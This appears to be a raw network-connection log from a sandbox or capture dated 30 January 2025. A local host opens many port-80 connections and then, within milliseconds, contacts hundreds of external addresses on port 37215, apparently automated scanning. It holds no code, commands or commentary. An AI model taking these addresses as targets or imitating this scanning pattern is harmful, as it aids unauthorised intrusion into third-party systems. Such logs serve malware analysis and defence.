Jan 30, 2025 10:43:01.449193954 CET	57974	80	192.168.2.14	133.153.249.33
Jan 30, 2025 10:43:01.449193954 CET	57974	80	192.168.2.14	133.153.249.33
Jan 30, 2025 10:43:01.449594975 CET	58518	80	192.168.2.14	133.153.249.33
Jan 30, 2025 10:43:01.450083971 CET	56906	80	192.168.2.14	120.23.138.222
Jan 30, 2025 10:43:01.450098991 CET	56906	80	192.168.2.14	120.23.138.222
Jan 30, 2025 10:43:01.450587988 CET	57428	80	192.168.2.14	120.23.138.222
Jan 30, 2025 10:43:01.451287031 CET	48872	80	192.168.2.14	89.9.237.196
Jan 30, 2025 10:43:01.451287031 CET	48872	80	192.168.2.14	89.9.237.196
Jan 30, 2025 10:43:01.451857090 CET	49376	80	192.168.2.14	89.9.237.196
Jan 30, 2025 10:43:01.452461958 CET	56414	80	192.168.2.14	124.170.78.40
Jan 30, 2025 10:43:01.452485085 CET	56414	80	192.168.2.14	124.170.78.40
Jan 30, 2025 10:43:01.453223944 CET	56812	80	192.168.2.14	124.170.78.40
Jan 30, 2025 10:43:01.453908920 CET	38736	80	192.168.2.14	154.164.115.164
Jan 30, 2025 10:43:01.453908920 CET	38736	80	192.168.2.14	154.164.115.164
Jan 30, 2025 10:43:01.454190016 CET	80	54456	73.211.22.163	192.168.2.14
Jan 30, 2025 10:43:01.454202890 CET	80	57974	133.153.249.33	192.168.2.14
Jan 30, 2025 10:43:01.454442024 CET	39100	80	192.168.2.14	154.164.115.164
Jan 30, 2025 10:43:01.454869986 CET	80	56906	120.23.138.222	192.168.2.14
Jan 30, 2025 10:43:01.455054998 CET	54482	80	192.168.2.14	130.219.127.143
Jan 30, 2025 10:43:01.455054998 CET	54482	80	192.168.2.14	130.219.127.143
Jan 30, 2025 10:43:01.455569029 CET	54830	80	192.168.2.14	130.219.127.143
Jan 30, 2025 10:43:01.456126928 CET	33986	80	192.168.2.14	70.171.35.104
Jan 30, 2025 10:43:01.456126928 CET	33986	80	192.168.2.14	70.171.35.104
Jan 30, 2025 10:43:01.456377029 CET	80	48872	89.9.237.196	192.168.2.14
Jan 30, 2025 10:43:01.456834078 CET	34226	80	192.168.2.14	70.171.35.104
Jan 30, 2025 10:43:01.456887007 CET	80	49376	89.9.237.196	192.168.2.14
Jan 30, 2025 10:43:01.456943035 CET	49376	80	192.168.2.14	89.9.237.196
Jan 30, 2025 10:43:01.457297087 CET	80	56414	124.170.78.40	192.168.2.14
Jan 30, 2025 10:43:01.457443953 CET	37028	80	192.168.2.14	196.3.191.224
Jan 30, 2025 10:43:01.457444906 CET	37028	80	192.168.2.14	196.3.191.224
Jan 30, 2025 10:43:01.457916021 CET	37236	80	192.168.2.14	196.3.191.224
Jan 30, 2025 10:43:01.458467960 CET	33624	80	192.168.2.14	198.151.162.206
Jan 30, 2025 10:43:01.458467960 CET	33624	80	192.168.2.14	198.151.162.206
Jan 30, 2025 10:43:01.458964109 CET	80	38736	154.164.115.164	192.168.2.14
Jan 30, 2025 10:43:01.458997965 CET	33814	80	192.168.2.14	198.151.162.206
Jan 30, 2025 10:43:01.459850073 CET	80	54482	130.219.127.143	192.168.2.14
Jan 30, 2025 10:43:01.459990978 CET	50112	80	192.168.2.14	149.247.70.10
Jan 30, 2025 10:43:01.459990978 CET	50112	80	192.168.2.14	149.247.70.10
Jan 30, 2025 10:43:01.460577011 CET	50290	80	192.168.2.14	149.247.70.10
Jan 30, 2025 10:43:01.461193085 CET	80	33986	70.171.35.104	192.168.2.14
Jan 30, 2025 10:43:01.461219072 CET	50440	80	192.168.2.14	90.64.6.63
Jan 30, 2025 10:43:01.461220026 CET	50440	80	192.168.2.14	90.64.6.63
Jan 30, 2025 10:43:01.461693048 CET	50600	80	192.168.2.14	90.64.6.63
Jan 30, 2025 10:43:01.462310076 CET	45876	80	192.168.2.14	161.80.48.54
Jan 30, 2025 10:43:01.462310076 CET	45876	80	192.168.2.14	161.80.48.54
Jan 30, 2025 10:43:01.462588072 CET	80	37028	196.3.191.224	192.168.2.14
Jan 30, 2025 10:43:01.462790012 CET	46024	80	192.168.2.14	161.80.48.54
Jan 30, 2025 10:43:01.463419914 CET	80	33624	198.151.162.206	192.168.2.14
Jan 30, 2025 10:43:01.463603973 CET	57840	80	192.168.2.14	95.58.145.95
Jan 30, 2025 10:43:01.463625908 CET	57840	80	192.168.2.14	95.58.145.95
Jan 30, 2025 10:43:01.464210987 CET	57970	80	192.168.2.14	95.58.145.95
Jan 30, 2025 10:43:01.464865923 CET	48034	80	192.168.2.14	14.190.218.71
Jan 30, 2025 10:43:01.464865923 CET	48034	80	192.168.2.14	14.190.218.71
Jan 30, 2025 10:43:01.464886904 CET	80	50112	149.247.70.10	192.168.2.14
Jan 30, 2025 10:43:01.465311050 CET	48150	80	192.168.2.14	14.190.218.71
Jan 30, 2025 10:43:01.465442896 CET	80	50290	149.247.70.10	192.168.2.14
Jan 30, 2025 10:43:01.465487003 CET	50290	80	192.168.2.14	149.247.70.10
Jan 30, 2025 10:43:01.465980053 CET	80	50440	90.64.6.63	192.168.2.14
Jan 30, 2025 10:43:01.466011047 CET	36320	80	192.168.2.14	103.213.214.129
Jan 30, 2025 10:43:01.466023922 CET	36320	80	192.168.2.14	103.213.214.129
Jan 30, 2025 10:43:01.466608047 CET	36424	80	192.168.2.14	103.213.214.129
Jan 30, 2025 10:43:01.467189074 CET	60270	80	192.168.2.14	155.198.4.108
Jan 30, 2025 10:43:01.467189074 CET	60270	80	192.168.2.14	155.198.4.108
Jan 30, 2025 10:43:01.467423916 CET	80	45876	161.80.48.54	192.168.2.14
Jan 30, 2025 10:43:01.467633009 CET	60374	80	192.168.2.14	155.198.4.108
Jan 30, 2025 10:43:01.468174934 CET	56900	80	192.168.2.14	76.228.178.139
Jan 30, 2025 10:43:01.468174934 CET	56900	80	192.168.2.14	76.228.178.139
Jan 30, 2025 10:43:01.468348980 CET	80	57840	95.58.145.95	192.168.2.14
Jan 30, 2025 10:43:01.468899012 CET	56994	80	192.168.2.14	76.228.178.139
Jan 30, 2025 10:43:01.469492912 CET	43418	80	192.168.2.14	104.250.231.48
Jan 30, 2025 10:43:01.469492912 CET	43418	80	192.168.2.14	104.250.231.48
Jan 30, 2025 10:43:01.470002890 CET	80	48034	14.190.218.71	192.168.2.14
Jan 30, 2025 10:43:01.470099926 CET	43500	80	192.168.2.14	104.250.231.48
Jan 30, 2025 10:43:01.470841885 CET	80	36320	103.213.214.129	192.168.2.14
Jan 30, 2025 10:43:01.470901966 CET	32818	80	192.168.2.14	57.162.48.58
Jan 30, 2025 10:43:01.470901966 CET	32818	80	192.168.2.14	57.162.48.58
Jan 30, 2025 10:43:01.471290112 CET	32882	80	192.168.2.14	57.162.48.58
Jan 30, 2025 10:43:01.471937895 CET	38712	80	192.168.2.14	200.209.40.223
Jan 30, 2025 10:43:01.471937895 CET	38712	80	192.168.2.14	200.209.40.223
Jan 30, 2025 10:43:01.472098112 CET	80	60270	155.198.4.108	192.168.2.14
Jan 30, 2025 10:43:01.472321987 CET	38766	80	192.168.2.14	200.209.40.223
Jan 30, 2025 10:43:01.473021984 CET	80	56900	76.228.178.139	192.168.2.14
Jan 30, 2025 10:43:01.473166943 CET	50290	80	192.168.2.14	149.247.70.10
Jan 30, 2025 10:43:01.473170996 CET	49376	80	192.168.2.14	89.9.237.196
Jan 30, 2025 10:43:01.474236965 CET	80	43418	104.250.231.48	192.168.2.14
Jan 30, 2025 10:43:01.475692987 CET	80	32818	57.162.48.58	192.168.2.14
Jan 30, 2025 10:43:01.478705883 CET	80	38712	200.209.40.223	192.168.2.14
Jan 30, 2025 10:43:01.478718996 CET	80	38766	200.209.40.223	192.168.2.14
Jan 30, 2025 10:43:01.478739023 CET	80	50290	149.247.70.10	192.168.2.14
Jan 30, 2025 10:43:01.478779078 CET	80	49376	89.9.237.196	192.168.2.14
Jan 30, 2025 10:43:01.478802919 CET	38766	80	192.168.2.14	200.209.40.223
Jan 30, 2025 10:43:01.478809118 CET	50290	80	192.168.2.14	149.247.70.10
Jan 30, 2025 10:43:01.478827953 CET	49376	80	192.168.2.14	89.9.237.196
Jan 30, 2025 10:43:01.479020119 CET	38766	80	192.168.2.14	200.209.40.223
Jan 30, 2025 10:43:01.484046936 CET	80	38766	200.209.40.223	192.168.2.14
Jan 30, 2025 10:43:01.484117031 CET	38766	80	192.168.2.14	200.209.40.223
Jan 30, 2025 10:43:01.499806881 CET	80	56906	120.23.138.222	192.168.2.14
Jan 30, 2025 10:43:01.499818087 CET	80	57974	133.153.249.33	192.168.2.14
Jan 30, 2025 10:43:01.499828100 CET	80	54456	73.211.22.163	192.168.2.14
Jan 30, 2025 10:43:01.499836922 CET	80	38736	154.164.115.164	192.168.2.14
Jan 30, 2025 10:43:01.499846935 CET	80	56414	124.170.78.40	192.168.2.14
Jan 30, 2025 10:43:01.499855995 CET	80	48872	89.9.237.196	192.168.2.14
Jan 30, 2025 10:43:01.507895947 CET	80	33624	198.151.162.206	192.168.2.14
Jan 30, 2025 10:43:01.507906914 CET	80	33986	70.171.35.104	192.168.2.14
Jan 30, 2025 10:43:01.507917881 CET	80	54482	130.219.127.143	192.168.2.14
Jan 30, 2025 10:43:01.507926941 CET	80	37028	196.3.191.224	192.168.2.14
Jan 30, 2025 10:43:01.507936001 CET	80	45876	161.80.48.54	192.168.2.14
Jan 30, 2025 10:43:01.507946014 CET	80	50440	90.64.6.63	192.168.2.14
Jan 30, 2025 10:43:01.507955074 CET	80	50112	149.247.70.10	192.168.2.14
Jan 30, 2025 10:43:01.511949062 CET	80	36320	103.213.214.129	192.168.2.14
Jan 30, 2025 10:43:01.515963078 CET	80	48034	14.190.218.71	192.168.2.14
Jan 30, 2025 10:43:01.515974045 CET	80	57840	95.58.145.95	192.168.2.14
Jan 30, 2025 10:43:01.515984058 CET	80	43418	104.250.231.48	192.168.2.14
Jan 30, 2025 10:43:01.515993118 CET	80	56900	76.228.178.139	192.168.2.14
Jan 30, 2025 10:43:01.516001940 CET	80	60270	155.198.4.108	192.168.2.14
Jan 30, 2025 10:43:01.520013094 CET	80	38712	200.209.40.223	192.168.2.14
Jan 30, 2025 10:43:01.520025015 CET	80	32818	57.162.48.58	192.168.2.14
Jan 30, 2025 10:43:01.850426912 CET	80	36320	103.213.214.129	192.168.2.14
Jan 30, 2025 10:43:01.850594044 CET	36320	80	192.168.2.14	103.213.214.129
Jan 30, 2025 10:43:02.082226038 CET	60295	37215	192.168.2.14	41.180.130.242
Jan 30, 2025 10:43:02.082226038 CET	60295	37215	192.168.2.14	156.177.123.236
Jan 30, 2025 10:43:02.082237005 CET	60295	37215	192.168.2.14	197.191.245.38
Jan 30, 2025 10:43:02.082236052 CET	60295	37215	192.168.2.14	197.29.13.133
Jan 30, 2025 10:43:02.082236052 CET	60295	37215	192.168.2.14	156.194.175.161
Jan 30, 2025 10:43:02.082242012 CET	60295	37215	192.168.2.14	156.153.93.40
Jan 30, 2025 10:43:02.082242012 CET	60295	37215	192.168.2.14	156.1.4.40
Jan 30, 2025 10:43:02.082264900 CET	60295	37215	192.168.2.14	197.103.208.53
Jan 30, 2025 10:43:02.082273960 CET	60295	37215	192.168.2.14	41.34.237.9
Jan 30, 2025 10:43:02.082274914 CET	60295	37215	192.168.2.14	156.83.97.125
Jan 30, 2025 10:43:02.082274914 CET	60295	37215	192.168.2.14	41.38.203.130
Jan 30, 2025 10:43:02.082276106 CET	60295	37215	192.168.2.14	156.55.180.225
Jan 30, 2025 10:43:02.082274914 CET	60295	37215	192.168.2.14	156.130.242.158
Jan 30, 2025 10:43:02.082287073 CET	60295	37215	192.168.2.14	156.244.153.180
Jan 30, 2025 10:43:02.082287073 CET	60295	37215	192.168.2.14	156.225.22.253
Jan 30, 2025 10:43:02.082288027 CET	60295	37215	192.168.2.14	156.46.13.57
Jan 30, 2025 10:43:02.082292080 CET	60295	37215	192.168.2.14	41.99.242.230
Jan 30, 2025 10:43:02.082293034 CET	60295	37215	192.168.2.14	156.104.45.241
Jan 30, 2025 10:43:02.082294941 CET	60295	37215	192.168.2.14	197.171.102.195
Jan 30, 2025 10:43:02.082298994 CET	60295	37215	192.168.2.14	197.136.191.103
Jan 30, 2025 10:43:02.082304001 CET	60295	37215	192.168.2.14	197.50.34.79
Jan 30, 2025 10:43:02.082314014 CET	60295	37215	192.168.2.14	41.175.68.121
Jan 30, 2025 10:43:02.082323074 CET	60295	37215	192.168.2.14	41.239.226.175
Jan 30, 2025 10:43:02.082323074 CET	60295	37215	192.168.2.14	156.62.15.248
Jan 30, 2025 10:43:02.082340956 CET	60295	37215	192.168.2.14	41.46.127.52
Jan 30, 2025 10:43:02.082340956 CET	60295	37215	192.168.2.14	156.198.8.184
Jan 30, 2025 10:43:02.082343102 CET	60295	37215	192.168.2.14	156.30.253.189
Jan 30, 2025 10:43:02.082343102 CET	60295	37215	192.168.2.14	41.112.75.126
Jan 30, 2025 10:43:02.082343102 CET	60295	37215	192.168.2.14	197.149.252.27
Jan 30, 2025 10:43:02.082354069 CET	60295	37215	192.168.2.14	156.213.149.65
Jan 30, 2025 10:43:02.082354069 CET	60295	37215	192.168.2.14	156.83.177.40
Jan 30, 2025 10:43:02.082361937 CET	60295	37215	192.168.2.14	156.219.241.54
Jan 30, 2025 10:43:02.082364082 CET	60295	37215	192.168.2.14	41.211.211.207
Jan 30, 2025 10:43:02.082372904 CET	60295	37215	192.168.2.14	197.110.199.188
Jan 30, 2025 10:43:02.082381964 CET	60295	37215	192.168.2.14	197.105.118.99
Jan 30, 2025 10:43:02.082386017 CET	60295	37215	192.168.2.14	156.149.194.238
Jan 30, 2025 10:43:02.082386971 CET	60295	37215	192.168.2.14	41.51.110.42
Jan 30, 2025 10:43:02.082391024 CET	60295	37215	192.168.2.14	197.182.19.162
Jan 30, 2025 10:43:02.082393885 CET	60295	37215	192.168.2.14	156.51.86.220
Jan 30, 2025 10:43:02.082391977 CET	60295	37215	192.168.2.14	156.140.48.212
Jan 30, 2025 10:43:02.082391977 CET	60295	37215	192.168.2.14	41.146.171.72
Jan 30, 2025 10:43:02.082396030 CET	60295	37215	192.168.2.14	41.77.182.85
Jan 30, 2025 10:43:02.082406044 CET	60295	37215	192.168.2.14	197.244.70.58
Jan 30, 2025 10:43:02.082429886 CET	60295	37215	192.168.2.14	41.189.133.67
Jan 30, 2025 10:43:02.082429886 CET	60295	37215	192.168.2.14	41.124.116.88
Jan 30, 2025 10:43:02.082432985 CET	60295	37215	192.168.2.14	197.23.77.148
Jan 30, 2025 10:43:02.082442999 CET	60295	37215	192.168.2.14	156.190.165.129
Jan 30, 2025 10:43:02.082442999 CET	60295	37215	192.168.2.14	197.34.230.84
Jan 30, 2025 10:43:02.082442999 CET	60295	37215	192.168.2.14	41.139.22.90
Jan 30, 2025 10:43:02.082449913 CET	60295	37215	192.168.2.14	156.34.123.55
Jan 30, 2025 10:43:02.082451105 CET	60295	37215	192.168.2.14	197.251.13.231
Jan 30, 2025 10:43:02.082451105 CET	60295	37215	192.168.2.14	156.250.179.179
Jan 30, 2025 10:43:02.082454920 CET	60295	37215	192.168.2.14	41.47.146.109
Jan 30, 2025 10:43:02.082458973 CET	60295	37215	192.168.2.14	156.209.197.148
Jan 30, 2025 10:43:02.082472086 CET	60295	37215	192.168.2.14	41.177.62.97
Jan 30, 2025 10:43:02.082475901 CET	60295	37215	192.168.2.14	156.1.171.213
Jan 30, 2025 10:43:02.082479000 CET	60295	37215	192.168.2.14	41.158.143.19
Jan 30, 2025 10:43:02.082484961 CET	60295	37215	192.168.2.14	41.40.143.60
Jan 30, 2025 10:43:02.082488060 CET	60295	37215	192.168.2.14	156.195.165.210
Jan 30, 2025 10:43:02.082503080 CET	60295	37215	192.168.2.14	41.47.143.151
Jan 30, 2025 10:43:02.082504034 CET	60295	37215	192.168.2.14	41.93.210.48
Jan 30, 2025 10:43:02.082504034 CET	60295	37215	192.168.2.14	41.126.112.126
Jan 30, 2025 10:43:02.082508087 CET	60295	37215	192.168.2.14	156.46.91.165
Jan 30, 2025 10:43:02.082509041 CET	60295	37215	192.168.2.14	41.222.99.221
Jan 30, 2025 10:43:02.082515001 CET	60295	37215	192.168.2.14	156.234.150.215
Jan 30, 2025 10:43:02.082535982 CET	60295	37215	192.168.2.14	197.124.184.148
Jan 30, 2025 10:43:02.082540989 CET	60295	37215	192.168.2.14	156.219.16.204
Jan 30, 2025 10:43:02.082547903 CET	60295	37215	192.168.2.14	41.94.146.196
Jan 30, 2025 10:43:02.082547903 CET	60295	37215	192.168.2.14	41.193.138.110
Jan 30, 2025 10:43:02.082550049 CET	60295	37215	192.168.2.14	41.254.121.11
Jan 30, 2025 10:43:02.082552910 CET	60295	37215	192.168.2.14	156.72.119.223
Jan 30, 2025 10:43:02.082560062 CET	60295	37215	192.168.2.14	41.199.23.212
Jan 30, 2025 10:43:02.082560062 CET	60295	37215	192.168.2.14	197.21.27.73
Jan 30, 2025 10:43:02.082564116 CET	60295	37215	192.168.2.14	41.95.210.174
Jan 30, 2025 10:43:02.082564116 CET	60295	37215	192.168.2.14	156.234.106.35
Jan 30, 2025 10:43:02.082571030 CET	60295	37215	192.168.2.14	156.191.63.150
Jan 30, 2025 10:43:02.082571030 CET	60295	37215	192.168.2.14	41.214.218.154
Jan 30, 2025 10:43:02.082571030 CET	60295	37215	192.168.2.14	197.120.241.132
Jan 30, 2025 10:43:02.082571030 CET	60295	37215	192.168.2.14	197.67.74.33
Jan 30, 2025 10:43:02.082571983 CET	60295	37215	192.168.2.14	197.44.127.207
Jan 30, 2025 10:43:02.082581997 CET	60295	37215	192.168.2.14	41.11.127.14
Jan 30, 2025 10:43:02.082598925 CET	60295	37215	192.168.2.14	41.76.184.119
Jan 30, 2025 10:43:02.082598925 CET	60295	37215	192.168.2.14	156.111.2.124
Jan 30, 2025 10:43:02.082601070 CET	60295	37215	192.168.2.14	197.85.97.122
Jan 30, 2025 10:43:02.082601070 CET	60295	37215	192.168.2.14	41.224.86.45
Jan 30, 2025 10:43:02.082601070 CET	60295	37215	192.168.2.14	41.191.246.181
Jan 30, 2025 10:43:02.082604885 CET	60295	37215	192.168.2.14	156.227.72.105
Jan 30, 2025 10:43:02.082616091 CET	60295	37215	192.168.2.14	156.39.129.88
Jan 30, 2025 10:43:02.082619905 CET	60295	37215	192.168.2.14	156.239.198.58
Jan 30, 2025 10:43:02.082627058 CET	60295	37215	192.168.2.14	156.191.82.160
Jan 30, 2025 10:43:02.082638025 CET	60295	37215	192.168.2.14	197.48.68.10
Jan 30, 2025 10:43:02.082643986 CET	60295	37215	192.168.2.14	156.117.170.177
Jan 30, 2025 10:43:02.082653999 CET	60295	37215	192.168.2.14	156.66.0.180
Jan 30, 2025 10:43:02.082653999 CET	60295	37215	192.168.2.14	197.142.58.135
Jan 30, 2025 10:43:02.082663059 CET	60295	37215	192.168.2.14	41.115.250.102
Jan 30, 2025 10:43:02.082669020 CET	60295	37215	192.168.2.14	197.131.201.172
Jan 30, 2025 10:43:02.082669020 CET	60295	37215	192.168.2.14	156.223.82.38
Jan 30, 2025 10:43:02.082690001 CET	60295	37215	192.168.2.14	156.115.185.184
Jan 30, 2025 10:43:02.082690001 CET	60295	37215	192.168.2.14	156.201.81.5
Jan 30, 2025 10:43:02.082690954 CET	60295	37215	192.168.2.14	41.211.102.74
Jan 30, 2025 10:43:02.082691908 CET	60295	37215	192.168.2.14	41.227.144.202
Jan 30, 2025 10:43:02.082695961 CET	60295	37215	192.168.2.14	41.162.113.226
Jan 30, 2025 10:43:02.082707882 CET	60295	37215	192.168.2.14	197.187.164.2
Jan 30, 2025 10:43:02.082717896 CET	60295	37215	192.168.2.14	41.241.63.145
Jan 30, 2025 10:43:02.082720041 CET	60295	37215	192.168.2.14	197.209.63.143
Jan 30, 2025 10:43:02.082724094 CET	60295	37215	192.168.2.14	41.215.203.143
Jan 30, 2025 10:43:02.082725048 CET	60295	37215	192.168.2.14	197.80.124.68
Jan 30, 2025 10:43:02.082735062 CET	60295	37215	192.168.2.14	156.152.215.235
Jan 30, 2025 10:43:02.082737923 CET	60295	37215	192.168.2.14	156.58.144.130
Jan 30, 2025 10:43:02.082751036 CET	60295	37215	192.168.2.14	156.208.170.107
Jan 30, 2025 10:43:02.082755089 CET	60295	37215	192.168.2.14	197.44.69.22
Jan 30, 2025 10:43:02.082755089 CET	60295	37215	192.168.2.14	156.168.214.108
Jan 30, 2025 10:43:02.082767010 CET	60295	37215	192.168.2.14	41.155.73.108
Jan 30, 2025 10:43:02.082767010 CET	60295	37215	192.168.2.14	41.177.27.239
Jan 30, 2025 10:43:02.082791090 CET	60295	37215	192.168.2.14	156.226.90.133
Jan 30, 2025 10:43:02.082792044 CET	60295	37215	192.168.2.14	156.191.116.36
Jan 30, 2025 10:43:02.082798958 CET	60295	37215	192.168.2.14	156.164.197.79
Jan 30, 2025 10:43:02.082799911 CET	60295	37215	192.168.2.14	41.208.85.48
Jan 30, 2025 10:43:02.082802057 CET	60295	37215	192.168.2.14	197.70.242.71
Jan 30, 2025 10:43:02.082799911 CET	60295	37215	192.168.2.14	197.117.12.170
Jan 30, 2025 10:43:02.082802057 CET	60295	37215	192.168.2.14	156.139.189.244
Jan 30, 2025 10:43:02.082809925 CET	60295	37215	192.168.2.14	156.120.147.121
Jan 30, 2025 10:43:02.082809925 CET	60295	37215	192.168.2.14	41.171.116.33
Jan 30, 2025 10:43:02.082814932 CET	60295	37215	192.168.2.14	156.235.48.151
Jan 30, 2025 10:43:02.082814932 CET	60295	37215	192.168.2.14	41.117.144.213
Jan 30, 2025 10:43:02.082814932 CET	60295	37215	192.168.2.14	197.237.79.226
Jan 30, 2025 10:43:02.082817078 CET	60295	37215	192.168.2.14	156.174.207.42
Jan 30, 2025 10:43:02.082819939 CET	60295	37215	192.168.2.14	41.212.131.83
Jan 30, 2025 10:43:02.082824945 CET	60295	37215	192.168.2.14	41.164.82.37
Jan 30, 2025 10:43:02.082824945 CET	60295	37215	192.168.2.14	197.198.219.96
Jan 30, 2025 10:43:02.082829952 CET	60295	37215	192.168.2.14	197.85.11.142
Jan 30, 2025 10:43:02.082837105 CET	60295	37215	192.168.2.14	197.95.10.158
Jan 30, 2025 10:43:02.082838058 CET	60295	37215	192.168.2.14	41.127.216.157
Jan 30, 2025 10:43:02.082838058 CET	60295	37215	192.168.2.14	156.24.225.219
Jan 30, 2025 10:43:02.082842112 CET	60295	37215	192.168.2.14	41.107.225.131
Jan 30, 2025 10:43:02.082842112 CET	60295	37215	192.168.2.14	156.138.157.198
Jan 30, 2025 10:43:02.082860947 CET	60295	37215	192.168.2.14	197.19.234.226
Jan 30, 2025 10:43:02.082861900 CET	60295	37215	192.168.2.14	41.88.155.92
Jan 30, 2025 10:43:02.082874060 CET	60295	37215	192.168.2.14	156.16.178.140
Jan 30, 2025 10:43:02.082878113 CET	60295	37215	192.168.2.14	197.162.18.22
Jan 30, 2025 10:43:02.082878113 CET	60295	37215	192.168.2.14	156.76.47.54
Jan 30, 2025 10:43:02.082878113 CET	60295	37215	192.168.2.14	41.80.235.244
Jan 30, 2025 10:43:02.082890987 CET	60295	37215	192.168.2.14	156.242.10.62
Jan 30, 2025 10:43:02.082896948 CET	60295	37215	192.168.2.14	156.252.221.171
Jan 30, 2025 10:43:02.082896948 CET	60295	37215	192.168.2.14	156.82.160.111
Jan 30, 2025 10:43:02.082914114 CET	60295	37215	192.168.2.14	197.151.114.224
Jan 30, 2025 10:43:02.082921028 CET	60295	37215	192.168.2.14	156.122.168.5
Jan 30, 2025 10:43:02.082931042 CET	60295	37215	192.168.2.14	156.0.227.160
Jan 30, 2025 10:43:02.082931042 CET	60295	37215	192.168.2.14	41.46.13.36
Jan 30, 2025 10:43:02.082931042 CET	60295	37215	192.168.2.14	41.166.255.88
Jan 30, 2025 10:43:02.082931042 CET	60295	37215	192.168.2.14	197.255.193.205
Jan 30, 2025 10:43:02.082936049 CET	60295	37215	192.168.2.14	197.33.155.140
Jan 30, 2025 10:43:02.082936049 CET	60295	37215	192.168.2.14	41.31.181.79
Jan 30, 2025 10:43:02.082938910 CET	60295	37215	192.168.2.14	197.140.114.41
Jan 30, 2025 10:43:02.082958937 CET	60295	37215	192.168.2.14	156.184.140.171
Jan 30, 2025 10:43:02.082958937 CET	60295	37215	192.168.2.14	41.4.157.99
Jan 30, 2025 10:43:02.082962036 CET	60295	37215	192.168.2.14	197.13.43.135
Jan 30, 2025 10:43:02.082963943 CET	60295	37215	192.168.2.14	156.248.100.127
Jan 30, 2025 10:43:02.082963943 CET	60295	37215	192.168.2.14	197.36.27.59
Jan 30, 2025 10:43:02.082972050 CET	60295	37215	192.168.2.14	41.24.38.106
Jan 30, 2025 10:43:02.082979918 CET	60295	37215	192.168.2.14	156.97.240.50
Jan 30, 2025 10:43:02.082983017 CET	60295	37215	192.168.2.14	156.50.206.147
Jan 30, 2025 10:43:02.082988977 CET	60295	37215	192.168.2.14	41.149.4.241
Jan 30, 2025 10:43:02.082990885 CET	60295	37215	192.168.2.14	197.106.255.62
Jan 30, 2025 10:43:02.082992077 CET	60295	37215	192.168.2.14	156.57.166.204
Jan 30, 2025 10:43:02.082995892 CET	60295	37215	192.168.2.14	156.11.98.75
Jan 30, 2025 10:43:02.082990885 CET	60295	37215	192.168.2.14	156.30.195.127
Jan 30, 2025 10:43:02.082999945 CET	60295	37215	192.168.2.14	197.98.252.115
Jan 30, 2025 10:43:02.083003044 CET	60295	37215	192.168.2.14	156.255.168.150
Jan 30, 2025 10:43:02.083003044 CET	60295	37215	192.168.2.14	41.217.86.114
Jan 30, 2025 10:43:02.083019018 CET	60295	37215	192.168.2.14	156.190.120.134
Jan 30, 2025 10:43:02.083019018 CET	60295	37215	192.168.2.14	197.71.91.109
Jan 30, 2025 10:43:02.083019018 CET	60295	37215	192.168.2.14	41.170.215.167
Jan 30, 2025 10:43:02.083020926 CET	60295	37215	192.168.2.14	197.29.13.163
Jan 30, 2025 10:43:02.083030939 CET	60295	37215	192.168.2.14	197.251.11.48
Jan 30, 2025 10:43:02.083045006 CET	60295	37215	192.168.2.14	156.47.56.161
Jan 30, 2025 10:43:02.083050013 CET	60295	37215	192.168.2.14	41.74.174.136
Jan 30, 2025 10:43:02.083050013 CET	60295	37215	192.168.2.14	41.211.25.149
Jan 30, 2025 10:43:02.083054066 CET	60295	37215	192.168.2.14	156.118.29.171
Jan 30, 2025 10:43:02.083058119 CET	60295	37215	192.168.2.14	41.83.63.108
Jan 30, 2025 10:43:02.083061934 CET	60295	37215	192.168.2.14	197.207.74.200
Jan 30, 2025 10:43:02.083075047 CET	60295	37215	192.168.2.14	156.235.236.150
Jan 30, 2025 10:43:02.083076000 CET	60295	37215	192.168.2.14	156.97.24.129
Jan 30, 2025 10:43:02.083085060 CET	60295	37215	192.168.2.14	156.115.172.176
Jan 30, 2025 10:43:02.083089113 CET	60295	37215	192.168.2.14	197.17.113.50
Jan 30, 2025 10:43:02.083089113 CET	60295	37215	192.168.2.14	156.187.127.205
Jan 30, 2025 10:43:02.083091021 CET	60295	37215	192.168.2.14	156.137.124.168
Jan 30, 2025 10:43:02.083107948 CET	60295	37215	192.168.2.14	156.252.12.55
Jan 30, 2025 10:43:02.083111048 CET	60295	37215	192.168.2.14	41.45.240.157
Jan 30, 2025 10:43:02.083112955 CET	60295	37215	192.168.2.14	156.103.231.92
Jan 30, 2025 10:43:02.083120108 CET	60295	37215	192.168.2.14	156.53.57.40
Jan 30, 2025 10:43:02.083127975 CET	60295	37215	192.168.2.14	156.42.12.54
Jan 30, 2025 10:43:02.083132029 CET	60295	37215	192.168.2.14	41.79.178.55
Jan 30, 2025 10:43:02.083137989 CET	60295	37215	192.168.2.14	41.236.66.46
Jan 30, 2025 10:43:02.083138943 CET	60295	37215	192.168.2.14	41.112.20.216
Jan 30, 2025 10:43:02.083138943 CET	60295	37215	192.168.2.14	156.244.251.46
Jan 30, 2025 10:43:02.083152056 CET	60295	37215	192.168.2.14	197.98.133.1
Jan 30, 2025 10:43:02.083153009 CET	60295	37215	192.168.2.14	197.129.216.31
Jan 30, 2025 10:43:02.083164930 CET	60295	37215	192.168.2.14	197.246.171.243
Jan 30, 2025 10:43:02.083168030 CET	60295	37215	192.168.2.14	156.162.252.190
Jan 30, 2025 10:43:02.083173037 CET	60295	37215	192.168.2.14	197.237.122.87
Jan 30, 2025 10:43:02.083173037 CET	60295	37215	192.168.2.14	156.128.52.119
Jan 30, 2025 10:43:02.083173037 CET	60295	37215	192.168.2.14	41.216.142.64
Jan 30, 2025 10:43:02.083190918 CET	60295	37215	192.168.2.14	156.199.173.125
Jan 30, 2025 10:43:02.083190918 CET	60295	37215	192.168.2.14	197.185.116.7
Jan 30, 2025 10:43:02.083192110 CET	60295	37215	192.168.2.14	41.182.115.63
Jan 30, 2025 10:43:02.083211899 CET	60295	37215	192.168.2.14	156.1.1.223
Jan 30, 2025 10:43:02.083211899 CET	60295	37215	192.168.2.14	41.79.230.180
Jan 30, 2025 10:43:02.083214998 CET	60295	37215	192.168.2.14	156.137.210.6
Jan 30, 2025 10:43:02.083215952 CET	60295	37215	192.168.2.14	197.102.31.6
Jan 30, 2025 10:43:02.083231926 CET	60295	37215	192.168.2.14	41.32.126.28
Jan 30, 2025 10:43:02.083245993 CET	60295	37215	192.168.2.14	197.87.237.37
Jan 30, 2025 10:43:02.083245993 CET	60295	37215	192.168.2.14	41.185.0.220
Jan 30, 2025 10:43:02.083246946 CET	60295	37215	192.168.2.14	197.238.210.57
Jan 30, 2025 10:43:02.083257914 CET	60295	37215	192.168.2.14	41.43.166.124
Jan 30, 2025 10:43:02.083266020 CET	60295	37215	192.168.2.14	41.36.34.207
